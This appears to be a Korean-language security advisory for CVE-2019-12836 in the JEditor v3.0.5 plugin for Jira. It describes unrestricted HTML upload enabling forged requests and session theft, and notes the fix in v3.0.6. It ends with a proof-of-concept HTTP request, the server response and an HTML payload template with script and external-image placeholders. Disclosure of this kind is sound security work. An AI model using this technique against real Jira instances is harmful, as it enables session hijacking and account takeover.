9lyph/cve-2019-12836CVE-2019-12836
JEditor v3.0.5 - JIRA용 WYSIWYG 편집기
Jira를 위한 간단하면서도 강력한 리치 텍스트 편집기입니다. HTML 이메일 가져오기, 풍부한 콘텐츠 붙여넣기, 템플릿 생성 및 필드 미리 채우기 기능을 제공합니다.
Bobronix
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12836
JEditor - WYSIWYG Editor for Jira - v3.0.5
JEditor v3.0.5
Jira용 Bobronix JEditor 편집기 v3.0.6 이전 버전에서는 공격자가 기존 이슈에 URL/링크를 추가하여 다른 출처의 도메인으로 요청을 위조할 수 있습니다. 이로 인해 인증된 사용자의 컨텍스트에서 위조된 요청이 실행되어 세션 토큰 도용 및 계정 탈취로 이어질 수 있습니다.
JEditor v3.0.5는 '.HTML'을 포함한 다양한 파일 확장자 유형의 파일 업로드를 허용합니다. JEditor는 JIRA에서 파일 업로드 기능을 위해 사용됩니다. 이 기능을 사용하여 공격자는 악성 콘텐츠를 업로드할 수 있습니다.
악성 콘텐츠가 업로드되면 해당 콘텐츠에 대한 후속 요청이 이루어질 수 있으며, 이로 인해 인증된 사용자의 브라우저 컨텍스트 내에서 콘텐츠가 인라인으로 표시되고 렌더링됩니다. 이를 통해 공격자는 모든 인증된 사용자를 대신하여 악성 요청을 위조할 수 있습니다.
사이트 간 요청 위조 (CSRF)
JEditor v3.0.6에서 버그 수정됨
https://jeditor.zendesk.com/hc/en-us/articles/360029430751-JEditor-3-0-6-release-notes
위조된 요청으로 인해 클라이언트 측 공격 벡터 가능성이 발생합니다.
인증된 사용자가 포함된 링크/URL과 상호 작용해야 함
크레딧: Victor Hanna (Exploit Security)
GET /plugins/servlet/jeditor_file_provider?imgId=ckupload201906162566696393384747423&fileName=C%3A%5Ctemp%5CPOC.html HTTP/1.1
Host: <vulnerable host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0)
Accept: text/html,application/xhtml_xml,application/xml;q=0.9,*/*;q=0.8
Accept-Langauge: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<vulnerable host>/secure/Dashboard.jspa
DNT: 1
Connection: close
Cookie: atlassian.xsrf.token=BNXD-VY4I-RCJA-J3YA_34d13dd7fae0f32023fc89838ldc0b6c35991382_lin; JSESSION=42E9F5581BAE499E3E9E45B9D44E6F3C
Upgrade-Insecure-Requests: 1
HTTP/1.1 200
Server: nginx/1.10.2
Date: Sun, 16 Jun 2019 03:06:10 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
X-AREQUESTID: 786x226666x1
X-ASESSIONID: pn6xpm
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-ASEN: SEN-2322842
X-Seraph-LoginReason: OK
X-AUSERNAME:
Content-Disposition: inline; filename="C:\temp\POC.html"
Vary: User-Agent
Content-Length: 236
<html>
<head>
<img src="http://{insert external image location here}">
<script>{JS Payload of any description}</script>
</head>
<body>
<h1>
Welcome to the Jungle !
</h1>
</body>
</html>
Victor Hanna of Exploit Security